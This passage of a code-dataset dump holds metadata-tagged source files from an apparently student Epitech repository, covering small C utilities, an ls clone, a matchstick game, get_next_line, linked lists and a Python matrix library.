div_mat(pow_mat(matrix, 2 * i + 1), math.factorial(2 * i + 1)))\n return tmp\n\ndef my_cosh(matrix):\n tmp = identity_mat(len(matrix))\n for i in range(1, 40):\n tmp = add_mat(tmp, div_mat(pow_mat(matrix, 2 * i), math.factorial(2 * i)))\n return tmp\n\ndef my_sinh(matrix):\n tmp = matrix\n for i in range(1, 40):\n tmp = add_mat(tmp, div_mat(pow_mat(matrix, 2 * i + 1), math.factorial(2 * i + 1)))\n return tmp" }, { "alpha_fraction": 0.46894410252571106, "alphanum_fraction": 0.4906832277774811, "avg_line_length": 10.5, "blob_id": "f1dd2f256e0f189837c10f049d9e43b7e48e41cd", "content_id": "a466ac3e7d67be4cac57a16e50aaae009ef69476", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 322, "license_type": "no_license", "max_line_length": 30, "num_lines": 28, "path": "/tek1/QuickTest/CPE_duostumper_2_2019/src/checkword.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** checkword\n** File description:\n** \n*/\n\n#include \"my.h\"\n\nint my_strlen(char *arg)\n{\n int i = 0;\n\n while (arg[i] != 0)\n i++;\n i--;\n return i;\n}\n\nchar *getword()\n{\n char *word = NULL;\n size_t t = 0;\n\n printf(\"\\n>\");\n getline(&word, &t, stdin);\n return word;\n}\n" }, { "alpha_fraction": 0.632867157459259, "alphanum_fraction": 0.6643356680870056, "avg_line_length": 13.350000381469727, "blob_id": "9bb98a593aef1a3dcf8c2e2fcb802f65a08f1052", "content_id": "eaf4fd89b0b7570225aafc1ec13e85e919fc1867", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 286, "license_type": "no_license", "max_line_length": 49, "num_lines": 20, "path": "/tek1/Advanced/PSU_my_ls_2019/src/shorter.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_ls_2019\n** File description:\n** shorter.c\n*/\n\n#include \"my.h\"\n#include \"ls.h\"\n#include<stdio.h>\n#include<string.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <dirent.h>\n\nvoid alphabeticalshort(char *directory, ls_t *ls)\n{\n\n return 0;\n}" }, { "alpha_fraction": 0.5659340620040894, "alphanum_fraction": 0.5769230723381042, "avg_line_length": 12, "blob_id": "611ba6230ef7535360a4e46d816d3457d30234f9", "content_id": "f42b48583540b386117a194621b770fc3e40ac00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 364, "license_type": "no_license", "max_line_length": 45, "num_lines": 28, "path": "/tek1/Advanced/PSU_tetris_2019/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## makefile\n## File description:\n## my_sokoban compile\n##\n\nSRC\t\t=\tmain.c\t\\\n\t\t\tsrc/utils.c\t\\\n\nOBJ\t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\ttetris\n\nCFLAGS\t\t+=\t-W -Wall -Wextra -pedantic\nCFLAGS\t\t+=\t-lncurses -I./include -L./lib -lmy\n\nall:\t\t$(NAME)\n\n$(NAME):\t$(OBJ)\n\t\tgcc -o $(NAME) $(OBJ) $(CFLAGS)\n\nclean:\n\t\trm -f $(OBJ)\n\nfclean:\t\tclean\n\nre:\t\tfclean all\n" }, { "alpha_fraction": 0.5173913240432739, "alphanum_fraction": 0.5369565486907959, "avg_line_length": 18.20833396911621, "blob_id": "16ffa7a952c52984662a4d311d492b0643c7e266", "content_id": "0386832201591ee81a3ae8a031d786ac1e835250", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 460, "license_type": "no_license", "max_line_length": 46, "num_lines": 24, "path": "/tek1/Advanced/PSU_navy_2019/sources/print_map.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** print_map.c\n*/\n\n#include \"navy.h\"\n\nvoid print_map(char **map)\n{\n my_printf(\" |A B C D E F G H\\n\");\n my_printf(\"-+---------------\\n\");\n for (int i = 0; map[i] != NULL; i++)\n my_printf(\"%s\\n\", map[i]);\n}\n\nvoid print_game(char **map, char **ennemy_map)\n{\n my_printf(\"my positions:\\n\");\n print_map(map);\n my_printf(\"\\nenemy's positions:\\n\");\n print_map(ennemy_map);\n}" }, { "alpha_fraction": 0.44770774245262146, "alphanum_fraction": 0.47564470767974854, "avg_line_length": 20.16666603088379, "blob_id": "e261f9bd0514a790db49683e7fb48378b04bf5b3", "content_id": "1da1faf3bb80113ab7b8386b29426cf9f5946257", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1396, "license_type": "no_license", "max_line_length": 45, "num_lines": 66, "path": "/tek1/Mathématique/108trigo_2019/matrix.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 108trigo_2019\n## File description:\n## matrix.py\n##\n\ndef identity_mat(n):\n tmp = []\n for i in range(n):\n ident = []\n for j in range(n):\n ident.append(1 if j == i else 0)\n tmp.append(ident)\n return tmp\n\ndef init_mat(n, k):\n tmp = []\n for i in range(n):\n ident = []\n for j in range(n):\n ident.append(k)\n tmp.append(ident)\n return tmp\n\ndef mat_mult(mat1, mat2):\n tmp = []\n for i in range(len(mat1)):\n mult = []\n for j in range(len(mat2[0])):\n a = 0\n for k in range(len(mat1[0])):\n a += mat1[i][k] * mat2[k][j]\n mult.append(a)\n tmp.append(mult)\n return tmp\n\ndef pow_mat(mat, n):\n tmp = mat\n for i in range(n - 1):\n tmp = mat_mult(tmp, mat)\n return tmp\n\ndef div_mat(mat, k):\n for i in range(len(mat)):\n for j in range(len(mat[0])):\n mat[i][j] /= k\n return mat\n\ndef add_mat(mat1, mat2):\n tmp = []\n for i in range(len(mat1)):\n c = []\n for j in range(len(mat1[0])):\n c.append(mat1[i][j] + mat2[i][j])\n tmp.append(c)\n return tmp\n\ndef sub_mat(mat1, mat2):\n tmp = []\n for i in range(len(mat1)):\n c = []\n for j in range(len(mat1[0])):\n c.append(mat1[i][j] - mat2[i][j])\n tmp.append(c)\n return tmp" }, { "alpha_fraction": 0.3682539761066437, "alphanum_fraction": 0.4333333373069763, "avg_line_length": 22.33333396911621, "blob_id": "0e41bd1fc665c7684b7a344e28e0bacdd8866381", "content_id": "1685a7427ede1092d186e225ff5122f5f5caff20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 630, "license_type": "no_license", "max_line_length": 78, "num_lines": 27, "path": "/tek1/Advanced/PSU_42sh_2019/lib/tools/my_getnbr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_getnbr\n** File description:\n** Returns a number contained in a string\n*/\n\nint my_getnbr(char const *str)\n{\n long int nb = 0;\n int minus_nb = 0;\n int i = 0;\n\n while (str[i]) {\n if (nb == 0 && str[i] == '-')\n minus_nb = nb == 0 ? minus_nb + 1 : minus_nb;\n else if (nb != 0 && (str[i] < '0' || str[i] > '9'))\n break;\n else\n nb = (str[i] < '0' || str[i] > '9') ? nb : nb * 10 + str[i] - '0';\n i++;\n }\n nb = minus_nb % 2 == 1 ? -nb : nb;\n if (nb < -2147483647 || nb > 2147483647)\n return (0);\n return (nb);\n}\n" }, { "alpha_fraction": 0.37261146306991577, "alphanum_fraction": 0.40366241335868835, "avg_line_length": 18.045454025268555, "blob_id": "0ab5cf8768ad7179d0c566ac41b2bd69621bd757", "content_id": "40bbae2f7fec806ec24fcff4f52c2250200eb0ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1256, "license_type": "no_license", "max_line_length": 56, "num_lines": 66, "path": "/tek1/AI/AIA_n4s_2019/src/command.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** AIA_n4s_2019\n** File description:\n** command.c\n*/\n\n#include \"n4s.h\"\n\nint get_pos(char *str, int fd, nfs_t *nfs)\n{\n\n my_putstr(str);\n str = get_next_line(fd);\n if (check_pos(str, nfs) == 1)\n return 1;\n return 0;\n}\n\nint check_pos(char *str, nfs_t *nfs)\n{\n int i = my_strlen(str) - 1;\n int p = 0;\n char *new = malloc(sizeof(char *) * my_strlen(str));\n\n while (str[i] != ':' && str[i] != 0)\n i -= 1;\n i -= 1;\n while (str[i] != ':' && str[i] != 0)\n i -= 1;\n i += 1;\n while (str[i] != ':' && str[i] != 0)\n new[p++] = str[i++];\n new[p] = 0;\n if (my_strcmp(\"Track Cleared\", new) == 0) {\n free(new);\n get_pos(nfs->stop, 0, nfs);\n return 1;\n }\n free(new);\n return 0;\n}\n\nchar *check_str(char *str)\n{\n int a = 0;\n int b = 0;\n char *tmp;\n\n if ((tmp = malloc(sizeof(char *) * 100)) == NULL)\n return (NULL);\n while (a != 3)\n if (str[b++] == ':')\n a++;\n a = 0;\n while (str[b] != 0) {\n if ((str[b] >= '0' && str[b] <= '9')\n || str[b] == '.' || str[b] == ':') {\n tmp[a] = str[b];\n a++;\n }\n b++;\n }\n tmp[a - 1] = '\\0';\n return (tmp);\n}" }, { "alpha_fraction": 0.5799999833106995, "alphanum_fraction": 0.5853333473205566, "avg_line_length": 16.880952835083008, "blob_id": "5ba1fd922dae18a168badd17b876ac8abf23a3d4", "content_id": "1163774cac67fb99c6e1a25a4907175ee473dc5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 750, "license_type": "no_license", "max_line_length": 79, "num_lines": 42, "path": "/tek1/Advanced/PSU_42sh_2019/lib/linked/dict/dict_destroy.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** dict_destroy\n*/\n\n#include \"linked.h\"\n#include <stdlib.h>\n\nvoid no_free(void *a)\n{\n a = a;\n}\n\nvoid dict_destroy_content(dictionary_t *dict)\n{\n dictionary_t *iterator = dict;\n\n while (iterator) {\n free(iterator->data);\n iterator = iterator->next;\n }\n}\n\nvoid dict_destroy(dictionary_t *dict)\n{\n if (dict) {\n if (dict->next) dict_destroy(dict->next);\n free(dict);\n }\n}\n\nvoid dict_free(dictionary_t *dict, int free_index, void (free_content)(void *))\n{\n if (dict) {\n if (dict->next) dict_free(dict->next, free_index, free_content);\n if (free_index) free(dict->index);\n free_content(dict->data);\n free(dict);\n }\n}" }, { "alpha_fraction": 0.5438596606254578, "alphanum_fraction": 0.5657894611358643, "avg_line_length": 12.411765098571777, "blob_id": "1536d48a83782a0733ba10323f9322856d6fad4f", "content_id": "12d667987f098874d68714305ad730f2089a6a0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 228, "license_type": "no_license", "max_line_length": 30, "num_lines": 17, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/my_strlen.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strlen\n** File description:\n** Gives string length\n*/\n\nint my_strlen(char const *str)\n{\n int length;\n\n length = 0;\n while (str[length]) {\n length++;\n }\n return (length);\n}\n" }, { "alpha_fraction": 0.54666668176651, "alphanum_fraction": 0.5573333501815796, "avg_line_length": 21.08823585510254, "blob_id": "ae7e6235a2b6ed45569e9f82d5e0b9fa30930976", "content_id": "0d168c1f5760f38043190b9d0e9b57012f362aef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 750, "license_type": "no_license", "max_line_length": 71, "num_lines": 34, "path": "/tek1/Game/MUL_my_defender_2019/lib/linked/list/ll_remove.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** ll_remove\n*/\n\n#include \"linked.h\"\n\nlinked_list_t *ll_remove_middle(linked_list_t *list, int index)\n{\n linked_list_t *iterator = list;\n linked_list_t *temp;\n int i = 0;\n\n while (iterator) {\n if (i == index - 1) {\n temp = iterator->next;\n iterator->next = ((linked_list_t *)(iterator->next))->next;\n temp->next = 0;\n ll_destroy(temp);\n }\n i++;\n iterator = iterator->next;\n }\n return list;\n}\n\nlinked_list_t *ll_remove(linked_list_t *list, int index)\n{\n if (index == 0) return ll_shift(list);\n else if (index >= ll_len(list)) return ll_pop(list);\n else return ll_remove_middle(list, index);\n}" }, { "alpha_fraction": 0.529411792755127, "alphanum_fraction": 0.595588207244873, "avg_line_length": 10.416666984558105, "blob_id": "9541c12527a43c4b2b542d1c59c1e778668d8995", "content_id": "245af5957a105c2896b227322cb3c8a2a4aae567", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 136, "license_type": "no_license", "max_line_length": 24, "num_lines": 12, "path": "/tek1/Functionnal/CPE_pushswap_2019/test.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_pushswap_2019\n** File description:\n** test.c\n*/\n\nint main(void)\n{\n printf(\"test\");\n return 0;\n}" }, { "alpha_fraction": 0.5017793774604797, "alphanum_fraction": 0.5195729732513428, "avg_line_length": 13.050000190734863, "blob_id": "cfc25072f4c962fd758cfd49b94dff62abad035c", "content_id": "389ce09c8575b5f17ebe90c9b8af5208343d0188", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 281, "license_type": "no_license", "max_line_length": 44, "num_lines": 20, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/my_strcat.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strcat\n** File description:\n** my_strcat\n*/\n\n#include \"my.h\"\n\nchar *my_strcat(char *dest, char const *str)\n{\n int len = my_strlen(dest);\n int i = 0;\n\n while (str[i]) {\n dest[len + i] = str[i];\n i++;\n }\n return dest;\n}\n" }, { "alpha_fraction": 0.4643678069114685, "alphanum_fraction": 0.48965516686439514, "avg_line_length": 15.148148536682129, "blob_id": "dc2772963a5b045fc05682acf48c2aeee79c3ef0", "content_id": "add18e42f6a2cd24f6ed7c77ef8bb5fb1f8101ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 435, "license_type": "no_license", "max_line_length": 53, "num_lines": 27, "path": "/tek1/Advanced/PSU_tetris_2019/lib/my/my_strncat.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strncat\n** File description:\n** \n*/\n\n#include <stdlib.h>\n#include \"my.h\"\n\nchar *my_strncat(char *dest, char const *src, int nb)\n{\n int i = 0;\n int p = 0;\n char *newstr;\n\n newstr = malloc(sizeof(char) * (6 + nb));\n while (dest[i++] != 0);\n newstr = dest;\n while (p != nb) {\n newstr[i - 1] = src[p];\n p++;\n i++;\n }\n newstr[i - 1] = 0;\n return newstr;\n}" }, { "alpha_fraction": 0.48934459686279297, "alphanum_fraction": 0.5066344738006592, "avg_line_length": 23.15534019470215, "blob_id": "20e250a46b321617822aefe3fd22f0ea35922ba6", "content_id": "6ce2f6e377c5a15a865e20fe228169f4f069a95c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2487, "license_type": "no_license", "max_line_length": 70, "num_lines": 103, "path": "/tek1/Functionnal/CPE_matchstick_2019/src/game.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_matchstick_2019\n** File description:\n** game.c\n*/\n\n#include \"my.h\"\n#include \"match.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\n\nint checkerror_output(int nbr, match_t *match, char **str, int line)\n{\n if (nbr > match->max) {\n my_putstr(\"Error: you cannot remove more than \");\n my_put_nbr(match->max);\n my_putstr(\" matches per turn\\n\");\n return 84;\n }\n else if (nbr == 0 || pipecount(str[line]) < nbr) {\n my_putstr(\"Error: not enough matches on this line\\n\");\n return 84;\n }\n}\nvoid iaturn(char **str, match_t *match)\n{\n int matches = rand() % match->max + 1;\n int line = 0;\n\n while (my_strlenpipe(str[line]) == 0)\n line = rand() % match->line + 1;\n while (matches > pipecount(str[line]))\n matches = rand() % match->max + 1;\n my_putstr(\"AI's turn...\\nAI removed \");\n my_put_nbr(matches);\n my_putstr(\" match(es) from Line \");\n my_put_nbr(line);\n my_putchar('\\n');\n remove_pipe(str, match, matches, line);\n if (match->pipe == 0) {\n my_putstr(\"I lost... snif... but I'll get you next time!!\\n\");\n match->win = 8;\n }\n}\n\nvoid write_game(char **str, match_t *match)\n{\n int i = 0;\n\n while (i < match->line + 2) {\n my_putstr(str[i]);\n my_putchar('\\n');\n i++;\n }\n}\n\nvoid remove_pipe(char **str, match_t *match, int nbr, int line)\n{\n int i = 1;\n\n while (str[line][i] != '*')\n i++;\n i--;\n while (str[line][i] == ' ')\n {\n i--;\n }\n while (nbr != 0) {\n str[line][i] = ' ';\n nbr--;\n i--;\n match->pipe--;\n if (str[line][i] == ' ' || str[line][i] == '*')\n break;\n }\n write_game(str, match);\n}\n\nint startgame(char **str, match_t *match, char *str2)\n{\n size_t len = 1;\n int line;\n int nbr;\n\n while (match->pipe != 0) {\n my_putstr(\"Your turn:\\n\");\n my_putstr(\"Line: \");\n if (getline(&str2, &len, stdin) <= 0) return 0;\n line = my_getnbr(str2);\n if (check_line(str, line, match, str2) == 84) return 0;\n else my_putstr(\"Matches: \");\n if (getline(&str2, &len, stdin) <= 0) return 0;\n nbr = my_getnbr(str2);\n if (checkerror_output(nbr, match, str, line) == 84)\n startgame(str, match, str2);\n else { writeplayerinfo(nbr, line);\n remove_pipe(str, match, nbr, line);\n }\n match->pipe == 0 ? nbr = nbr : iaturn(str, match);\n }\n}" }, { "alpha_fraction": 0.5425100922584534, "alphanum_fraction": 0.5951417088508606, "avg_line_length": 14.4375, "blob_id": "ddad0cd6f589abbda52a88f6d38f802caac6d250", "content_id": "c02fc83878369dbea646e82fe471dd3fdd7e1f9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 247, "license_type": "no_license", "max_line_length": 44, "num_lines": 16, "path": "/tek1/Functionnal/CPE_BSQ_2019/bsq.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_BSQ_2019\n** File description:\n** bsq by clement Fleur\n*/\n\n#include \"lib/my/struct.h\"\n#include \"stdio.h\"\n\nvoid find_byline(char *filepath, int size)\n{\n int i;\n struct stack_size stack = { 0, 0, 0, 0};\n i = 0;\n}\n" }, { "alpha_fraction": 0.4624277353286743, "alphanum_fraction": 0.4838975965976715, "avg_line_length": 21.44444465637207, "blob_id": "96c6c3a32c50ca24eb6f9ca8b25a905a013d51d2", "content_id": "e56aaee60a3950daf6a146e48aded646dcd23d21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1211, "license_type": "no_license", "max_line_length": 79, "num_lines": 54, "path": "/tek1/Functionnal/CPE_getnextline_2019/get_next_line.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Getnextline\n** File description:\n** get_next_line.c\n*/\n\n#include \"get_next_line.h\"\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <stdio.h>\n\nchar *get_next_line(const int fd)\n{\n static char path[READ_SIZE];\n static char *lin = NULL;\n static int end = 1;\n static int cols = 0;\n static int line = 0;\n static int len = 0;\n\n if (path[cols] == '\\0') {\n if ((len = read(fd, path, READ_SIZE)) <= 0)\n return (lin = (((len == -1) || (cols != 0 && path[cols - 1] =='\\n')\n || !(path[cols] == '\\0' && end--)) ? NULL : lin));\n path[len] = ((cols = 0) ? '\\0' : 0);\n }\n if ((lin = ((line == 0) ? malloc((READ_SIZE + 1))\n : realloc(lin, (READ_SIZE + line + 1)))) == NULL)\n return (NULL);\n while (path[cols] && path[cols] != '\\n')\n lin[line++] = path[cols++];\n lin[line] = '\\0';\n if (path[cols] == '\\n')\n return (((line = (cols++ * 0))) ? (NULL) : (lin));\n return (get_next_line(fd));\n}\n\nint my_putchar(char c)\n{\n write(1, &c, 1);\n}\n\nint my_putstr(char const *str)\n{\n int i = 0;\n\n while (str[i] != '\\0') {\n my_putchar(str[i]);\n i++;\n }\n return i;\n}" }, { "alpha_fraction": 0.6100000143051147, "alphanum_fraction": 0.6466666460037231, "avg_line_length": 15.722222328186035, "blob_id": "d874d78b796ea26eeca674e23684dd3e281672df", "content_id": "8d4bda3786bca4bd5f252339f06c7affb81a4d5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 300, "license_type": "no_license", "max_line_length": 38, "num_lines": 18, "path": "/tek1/Mathématique/108trigo_2019/main.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 108trigo_2019\n## File description:\n## main.py\n##\n\nimport sys\nfrom arguments import *\nfrom mymath import *\n\ndef main():\n matrix = []\n check_arg()\n sqi = error_handling()\n matrix = addingmatrix(sqi, matrix)\n matrix = launch(matrix)\n print_matrix(matrix)" }, { "alpha_fraction": 0.6544585824012756, "alphanum_fraction": 0.6703821420669556, "avg_line_length": 19.96666717529297, "blob_id": "7a90e00d641196e8c772485ad43c0266ae351107", "content_id": "b8007d365396a11e0c1267ba07967bdbe83903ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 628, "license_type": "no_license", "max_line_length": 48, "num_lines": 30, "path": "/tek1/QuickTest/SYN_palindrome_2019/include/my.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** my.h\n*/\n\n#include <stdlib.h>\n#include <unistd.h>\n\n/*UTILS*/\nvoid my_putstr(char *str);\nint my_strlen(char *str);\nint my_getnbr(char const *str);\nvoid my_put_nbr(int nb);\nvoid my_putchar(char c);\nchar *my_revstr(char *str);\n/*UTILS*/\n/*PROG*/\nvoid help();\nint my_factrec_synthesis(int nb);\nint my_squareroot_synthesis(int nb);\nint my_strcmp(char const *s1, char const *s2);\nchar *baseconv(char *string, int nbr, int base);\n/*PROG*/\n/*ERROR*/\nint check_int(char **av, int ac);\nint check_base(char **av, int ac);\nint check_nbr(char **av, int ac);\n/*ERROR*/" }, { "alpha_fraction": 0.5656565427780151, "alphanum_fraction": 0.6464646458625793, "avg_line_length": 11.5, "blob_id": "bc8d5b01ca68ff84165c50ef5701676138b406e5", "content_id": "4d16b8b85c7e273ba9ac670d34f7734427d06b80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 99, "license_type": "no_license", "max_line_length": 24, "num_lines": 8, "path": "/tek1/Advanced/PSU_tetris_2019/include/tetris.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_tetris_2019\n** File description:\n** tetris.h\n*/\n\nvoid helping();" }, { "alpha_fraction": 0.3883333206176758, "alphanum_fraction": 0.41499999165534973, "avg_line_length": 17.18181800842285, "blob_id": "5fe061159ad882fd5d2e84bb98edc250dd95d836", "content_id": "769a9091213ae77c24d4ccfff0e97f2ba9135ef7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 600, "license_type": "no_license", "max_line_length": 65, "num_lines": 33, "path": "/tek1/Advanced/PSU_my_ls_2019/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_ls_2019\n** File description:\n** main.c\n*/\n\n#include \"ls.h\"\n#include \"my.h\"\n#include <stdlib.h>\n#include <stdio.h>\n\nint main(int ac, char **argv)\n{\n int i = 1;\n ls_t *ls = {0};\n\n ls = malloc(sizeof(ls_t));\n ls->ac = ac;\n if (ac == 1)\n my_ls(\".\", ls);\n else {\n while (i != ac) {\n ls->dir = 0;\n checkarg(argv[i], ls);\n ls->i = i;\n ls->dir != 1 ? i = i : my_ls(ls->arg, ls);\n i++;\n }\n ls->dir == 0 && ls->checkend == 0 ? my_ls(\".\", ls) : i--;\n }\n return 0;\n}\n" }, { "alpha_fraction": 0.607876718044281, "alphanum_fraction": 0.6215753555297852, "avg_line_length": 16.205883026123047, "blob_id": "e550f947fdf88667060e40e687546f01772abd2e", "content_id": "bc4f25f3ff8a2606bc9f6ea87fb43f4117ce353a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 584, "license_type": "no_license", "max_line_length": 50, "num_lines": 34, "path": "/tek1/Advanced/PSU_my_ls_2019/lib/my/ls.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_ls_2019\n** File description:\n** ls.h\n*/\n\n#ifndef _LS__\n#define _LS__\n\ntypedef struct ls_s\n{\n char *arg;\n int l;\n int r;\n int t;\n int i;\n int check;\n int dir;\n int count;\n int checkend;\n int ac;\n} ls_t;\n\nchar *checkarg(char *argv, ls_t *ls);\nint check_path(char *arg, ls_t *ls);\nint my_ls(char *directory, ls_t *ls);\nvoid checkdescription(char *arg, ls_t *ls);\nvoid alphabeticalshort(char *directory, ls_t *ls);\nvoid redirect(char *directory, ls_t *ls);\nvoid l_flag(char *name);\nvoid no_flag(char *directory);\n\n#endif" }, { "alpha_fraction": 0.5510203838348389, "alphanum_fraction": 0.5600907206535339, "avg_line_length": 21.100000381469727, "blob_id": "458fd9f84fcdec45dc2dc0bc7d16d7735b35f236", "content_id": "018b2b3faf7017d1e5e2fa24fdb545ea520f4a72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 441, "license_type": "no_license", "max_line_length": 60, "num_lines": 20, "path": "/tek1/Game/MUL_my_rpg_2019/lib/json/json_destroy.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_destroy\n*/\n\n#include \"json.h\"\n#include <stdlib.h>\n\nvoid json_destroy(json_object_t *obj)\n{\n if (obj->type == JSON_DICT || obj->type == JSON_LIST)\n for (json_object_t *i = obj; i; i = i->next)\n json_destroy(i->data);\n if (obj->type == JSON_DOUBLE || obj->type == JSON_INT ||\n obj->type == JSON_STRING)\n free(obj->data);\n free(obj);\n}" }, { "alpha_fraction": 0.46866485476493835, "alphanum_fraction": 0.5177111625671387, "avg_line_length": 15, "blob_id": "56e1c5033f07c80dd10ce53cff626ceb5e29c953", "content_id": "b32bb7a0aa45b8b1b474c395109dbfe68711341a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 367, "license_type": "no_license", "max_line_length": 30, "num_lines": 23, "path": "/tek1/Functionnal/CPE_corewar_2019/lib/phoenix/my_putstr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** BOO_phoenix_d01_2019\n** File description:\n** show_string.c\n*/\n\n#include \"phoenix.h\"\n#include <stdlib.h>\n#include <unistd.h>\n\nint my_putstr(char const *str)\n{\n int len = 0;\n\n while (*str == '0')\n str++;\n if (str[len] == '\\0')\n write(1, \"0\", 1);\n while (str[len] != '\\0')\n len++;\n write(1, str, len);\n}" }, { "alpha_fraction": 0.6556494832038879, "alphanum_fraction": 0.6771714091300964, "avg_line_length": 29.255813598632812, "blob_id": "d7c59d9f9bd38f5d346b3098ce72298ea24ce4e5", "content_id": "56f422c2ae942b7c0285578b1b7afdd92949df05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1301, "license_type": "no_license", "max_line_length": 88, "num_lines": 43, "path": "/tek1/Game/MUL_my_hunter_20192/src/display_window.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** MUL_my_hunter_2019\n** File description:\n** display_window.c\n*/\n\n#include <SFML/Graphics/RenderWindow.h>\n#include <SFML/Graphics.h>\n#include <math.h>\n#include \"player.h\"\n#include \"my.h\"\n\nvoid new_window(void)\n{\n sfRenderWindow *window;\n sfVideoMode video_mode = {1920, 1080, 32};\n sfTexture *texture = sfTexture_createFromFile(\"src/include/background.jpg\", NULL);\n sfImage *texture2 = sfTexture_createFromFile(\"src/include/sprite_bird.png\", NULL);\n sfSprite *sprite;\n sfEvent event;\n\n window = sfRenderWindow_create(video_mode, \"test window\", sfResize | sfClose, NULL);\n sfRenderWindow_setFramerateLimit(window, 30);\n\n sprite = sfSprite_create();\n sfSprite_setTexture(sprite, texture, sfTrue);\n sfTexture_updateFromImage(texture, texture2, 80, 120);\n sfSprite_setTexture(sprite, texture, sfTrue);\n sfRenderWindow_drawSprite(window, sprite, NULL);\n sfRenderWindow_display(window);\n\n while (sfRenderWindow_isOpen(window)) {\n while (sfRenderWindow_pollEvent(window, &event)) {\n if (event.type == sfEvtClosed)\n sfRenderWindow_close(window);\n }\n // create_rect(0);\n sfRenderWindow_display(window);\n }\n sfSprite_destroy(sprite);\n sfTexture_destroy(texture);\n}\n" }, { "alpha_fraction": 0.5693979859352112, "alphanum_fraction": 0.5978260636329651, "avg_line_length": 31.78082275390625, "blob_id": "1d92119295c2f5465247988a466e7c3ef75131d8", "content_id": 